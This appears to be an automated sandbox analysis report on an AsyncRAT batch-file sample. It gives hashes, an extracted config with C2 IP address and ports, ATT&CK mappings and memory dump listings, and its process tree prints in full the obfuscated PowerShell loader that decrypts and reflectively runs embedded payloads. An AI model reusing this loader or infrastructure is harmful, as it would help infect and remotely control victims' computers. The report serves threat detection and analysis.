asyncrat | 09d4308c18ecece489a51b7837968bcfc6c1273d83f5c83614bbdd119ccf6961

General

Target

Inital.bat
Size

63KB
MD5

e9319ac7284b6bbadf0200fee286b6c1
SHA1

51c30382aa103118937f1a9bf453a8345febafb4
SHA256

09d4308c18ecece489a51b7837968bcfc6c1273d83f5c83614bbdd119ccf6961
SHA512

73e349b61c285cdb3cfdf41ae9ba166cc0f8e5c7b989bf744f9aa8433baf41ea3a01b46fa9a88cc97fa4ca5d80f57a9dbd8fea631a164566c9e95632c9f3404b
SSDEEP

1536:Z6e+aDqc6V/xOtoqfF4OycI/k0xqAD/xtM:Z6aDqpVuoqKL5fkAvM

Score

10^/10

asyncrat rated execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

RATED

C2

147.185.221.17:25565

147.185.221.17:37531

Mutex

Dudee4vQEqBD

Attributes

delay
3
install
false
install_file
AnticheatBiner.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/1568-24-0x0000000007860000-0x0000000007872000-memory.dmp	family_asyncrat

Blocklisted process makes network request 10 IoCs

flow	pid	Process
14	1568	powershell.exe
21	1568	powershell.exe
23	1568	powershell.exe
34	1568	powershell.exe
35	1568	powershell.exe
38	1568	powershell.exe
45	1568	powershell.exe
46	1568	powershell.exe
47	1568	powershell.exe
48	1568	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1568	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1568	powershell.exe
1568	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1568	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 1568	2180	cmd.exe	84
PID 2180 wrote to memory of 1568	2180	cmd.exe	84
PID 2180 wrote to memory of 1568	2180	cmd.exe	84

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Inital.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rQsZbBPOPJCvxNhL0LUES/xBoGdJPo5xjQuRz/WAY2Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DjbA3otpI3NZoCoqJZkIpQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XrWyO=New-Object System.IO.MemoryStream(,$param_var); $udTvC=New-Object System.IO.MemoryStream; $DGCBl=New-Object System.IO.Compression.GZipStream($XrWyO, [IO.Compression.CompressionMode]::Decompress); $DGCBl.CopyTo($udTvC); $DGCBl.Dispose(); $XrWyO.Dispose(); $udTvC.Dispose(); $udTvC.ToArray();}function execute_function($param_var,$param2_var){ $ILwNn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XDsjo=$ILwNn.EntryPoint; $XDsjo.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Inital.bat';$AUAcT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Inital.bat').Split([Environment]::NewLine);foreach ($RmJpd in $AUAcT) { if ($RmJpd.StartsWith(':: ')) { $jmZjY=$RmJpd.Substring(3); break; }}$payloads_var=[string[]]$jmZjY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xxpam35g.0dh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1568-18-0x0000000006680000-0x000000000669E000-memory.dmp

Filesize
120KB

Download
memory/1568-19-0x00000000066D0000-0x000000000671C000-memory.dmp

Filesize
304KB

Download
memory/1568-3-0x0000000074BE0000-0x0000000075390000-memory.dmp

Filesize
7.7MB

Download
memory/1568-0-0x0000000074BEE000-0x0000000074BEF000-memory.dmp

Filesize
4KB

Download
memory/1568-5-0x0000000006090000-0x00000000060F6000-memory.dmp

Filesize
408KB

Download
memory/1568-7-0x0000000074BE0000-0x0000000075390000-memory.dmp

Filesize
7.7MB

Download
memory/1568-6-0x0000000006100000-0x0000000006166000-memory.dmp

Filesize
408KB

Download
memory/1568-1-0x00000000051F0000-0x0000000005226000-memory.dmp

Filesize
216KB

Download
memory/1568-2-0x00000000058F0000-0x0000000005F18000-memory.dmp

Filesize
6.2MB

Download
memory/1568-17-0x0000000006180000-0x00000000064D4000-memory.dmp

Filesize
3.3MB

Download
memory/1568-4-0x00000000057C0000-0x00000000057E2000-memory.dmp

Filesize
136KB

Download
memory/1568-20-0x0000000007ED0000-0x000000000854A000-memory.dmp

Filesize
6.5MB

Download
memory/1568-21-0x0000000006C50000-0x0000000006C6A000-memory.dmp

Filesize
104KB

Download
memory/1568-22-0x0000000006C80000-0x0000000006C88000-memory.dmp

Filesize
32KB

Download
memory/1568-24-0x0000000007860000-0x0000000007872000-memory.dmp

Filesize
72KB

Download
memory/1568-23-0x0000000006C90000-0x0000000006C9E000-memory.dmp

Filesize
56KB

Download
memory/1568-26-0x0000000074BEE000-0x0000000074BEF000-memory.dmp

Filesize
4KB

Download
memory/1568-27-0x0000000074BE0000-0x0000000075390000-memory.dmp

Filesize
7.7MB

Download
memory/1568-28-0x0000000074BE0000-0x0000000075390000-memory.dmp

Filesize
7.7MB

Download

Analysis

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